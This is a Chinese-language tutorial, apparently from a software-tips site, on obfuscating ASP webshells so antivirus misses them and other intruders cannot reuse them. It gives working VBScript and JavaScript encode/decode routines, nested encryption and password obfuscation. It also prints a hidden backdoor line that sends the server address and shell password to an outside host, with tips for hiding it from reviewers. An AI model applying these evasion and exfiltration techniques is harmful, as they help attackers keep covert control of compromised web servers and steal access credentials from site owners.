明辉手游网中心:是一个免费提供流行视频软件教程、在线学习分享的学习平台!

加密免杀你asp马

[摘要]大家在入侵中应该是捡到过别人的Webshell吧?也许有的大马功能很好, 于是你就用了, 但是你没想过该马可能有后门?现在很多的大马都加密了, 打开时候一片乱码, 是不是也想加密自己的大马了, 加密...

大家在入侵中应该是捡到过别人的Webshell吧?也许有的大马功能很好, 于是你就用了, 但是你没想过该马可能有后门?现在很多的大马都加密了, 打开时候一片乱码, 是不是也想加密自己的大马了, 加密后的Webshell不仅可以防止别人捡我们的Shell用, 还能免杀webshell。 ASP木马加密不难, 让我们一起踏上大马加密之旅。

  一:人工加密

  1.主加密函数的编写

  1)主解密与解密函数

  对大马的加密关键是编写我们的加密函数, 然后写出相应的解密函数。 我这里先得对几个ASP自带函数有个了解

  CHR:将ASCII 字码转换成字符

  REPLACE:将一个字符串取代 部份字。

  ASC:将字符串的第一字母转换成 ANSI (美国国家标准符号)字码。

  Len:取得字符串的长度。

  然后对IF语句和一些VBS函数相关知识有个了解。 大家有不懂可以查看Windows脚本技术, 里面比较详细。

  我们先看下一个最常用的解密函数吧。

dim ShiSan,ShiSanNewstr,ShiSanI

Function ShiSanFun(ShiSanObjstr)

ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")

For ShiSanI = 1 To Len(ShiSanObjstr)

If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then

  ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr

Else

  ShiSanNewStr = vbCrLf & ShiSanNewStr

End If

Next

ShiSanFun = ShiSanNewStr

End Function

  这个解密函数就是将加密后的代码解密。 他先将解密代码(Str)中的╁换为引号("), 得到Str1,然后通过FOR循环, 将加密部分(Str1)逐个取出, 将取出的字符倒叙连接成一个新字符, 并将╋换为vbcrlf(换行符)。 这个加密函数应用的相当广泛, 就连华夏免杀Webshell也用了这个函数

  好了。 知道加密的原理后我们就可以编写自己的加密函数了。 ASP的加密函数只需要将上面的部分稍微改下, 但是需要可以执行的环境(本地IIS或上传到服务器)。 这里我给出了JS+HTML写的加密网页

  ---------->JS+HTML加密:

<html>

<script script="JavaScript">

function enCode(theText)

{

output=new String;

TextSize=theText.length;

for (i = 0; i < TextSize; i++)

{

  if(theText.charCodeAt(i)=="13")

  {

  output="鹏"+output;

  }

  else if(theText.charCodeAt(i)=="10")

  {

  output+="";

  }

  else

  {

  output=theText.charAt(i)+output;

  }

}

return output

}

</script>

<form name=encform  />

<textarea name=box1 rows=16 cols=120></textarea>

<br />

<input type=button value="加密到下面文本框"  /><br />

<textarea name=box2 rows=16 cols=120></textarea>

</form>

</form>

</html>

保存为html格式然后用IE打开, 将需要加密的部分填写上, 然后点击按钮"加密到下面文本框" , 就可以得到加密后的字符串了。

  上面的加密函数是enCode,他的作用是将ASP代码(Code)中的换行换为鹏, 得到Code1, 然后将Code1倒序(13和10分别是回车和换行的编码)。 比如:

  Sub RRS(str)

  response.write(str)

  End Sub

  加密后就为

  buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buS

  写了加密函数后就要写出对于的解密函数, 必须用ASP编写

dim psEncode,psStr,psI

Function unCode(psEncode)

For psI=1 To Len(psEncode)

If Mid(psEncode,psI,1)<>"鹏" Then

psNewStr=Mid(psEncode,psI,1)&psNewStr

Else

psNewStr=vbCrlf&psNewStr

End If

Next

unCode=psNewStr

End Function

  这样我们就可以将ASP中的RRS函数用

  execute(unCode("buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buS"))

  代替掉

  Sub RRS(str)

  response.write(str)

  End Sub

  我们可以利用这个加密函数加密多处, 这样多加密一般可以免杀大马

  (2)加密解密函数

  直接调用解密函数, 很容易使自己的解密函数泄露, 我们可以利用一个函数来加密我们的加密函数, 这样就难找一点了, 这主要是为了保护我们的马, 对于上面我们的解密函数, 我们可以再写一个加密函数, 然后调用execute来, 这样就可以隐藏我们的解密函数了。 这样我们解密函数的源代码就不会明文出现在webshell里了

  (3)嵌套加密

  我们可以在主加密函数里面嵌套次加密函数, 不过这样我们需要对应的写出多个解密函数, 这样加密比较侧地, 小破孩就马就是采用这种加密方法。 由于方法相同, 我就不多啰嗦了, 大家有兴趣可以自己去研究下幽月或小破孩的, 我这里有源码, 想要的可以到我博客(hi.baidu.com/novaa)

  2.密码的加密

  大家是否遇见过webshell的密码是很长的数字, 20多位或30多位。 这就是对密码加密了的, 通过对密码加密, 可以防止别人通过查看我们的源代码得到我们的密码, 除非他完全解密了我们的webshell, 否则我们大马就是安全的。 这里看一个对密码加密的函数。

Function enPass(psStr,Pos)

Dim i,psNewStr

For i = 1 To Len(psStr)

psNewStr= psNewStr& Asc(Mid(psStr, i, 1))+Pos & (20080808-Pos)

Next

enPass =psNewStr

End Function

  

  上面的这个加密函数是对每一位密码的数字取ascii码, 然后加上Pos & (20080808-Pos)&i, 这里注意&是连接字符, 比如n&ov&aa结果是novaa

  然后我们把解密后的部分定义为UserPass

  然后在验证的地方通过

  enPass(request.form("pass"),pn)=UserPass 来进行身份验证, 当然, 通过修改密码的验证方式可以轻松的修改密码, 但是前提是你已经完全解密了这个webshell了。

  3.后门的隐藏技术

  怎么隐藏后门?其实主要就利用ASP的自带函数和一些其他技巧, 这里我以破小孩后门来解释

RRS"<DIV style=""CURSOR:url('http://"&chr(37)&"77"&chr(37)&"2E%31"&chr(39-pos)&""&(4+pos)&"c%6c"&chr(37)&"34%2E"&chr(37)&"63%6f"&chr(37)&"6d/%"&(36+pos)&"%2f?%75="&Serveru&"&%70="&UserPass&"')"">"

这个和幽月的后门隐藏技术差不多, 都是利用了ASCII编码和HTML编码, CHR(37)是"/",我们把它还原就是

http://w.1ll4.com/8/?u="&Serveru&"&p="&UserPass&"

这里我们可以做的更隐蔽些。

  1.我们查找后门的时候一般是利用查找有UserPass的地方, 因此, 我们可以利用enPass(request.form("pass"),pn)赋值给另一个变量canyou, 然后把&p="&UserPass&"换为&p="&canyou&"

  2.我们可以利用webshell里面自带的常量来代替http, 以为http也是经常用来找后门的地方, 比如Sot(13,0) = "Microsoft.XMLHTTP"这里就有HTTP, 我们利用Right函数来取得Sot(13,0) 右边的4个字符, 然后代替后门中的HTTP

  二:工具加密

  利用微软的脚本加密工具screnc.exe对我们初步加密的webshell进行再次的加密, 这样我们的webshell就完全成了一堆乱码了

  有了上面的加密知识, 相信大家很快可以掌握ASP的解密, 方法都是一样的, 然后大家就可以玩玩除后门了


上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。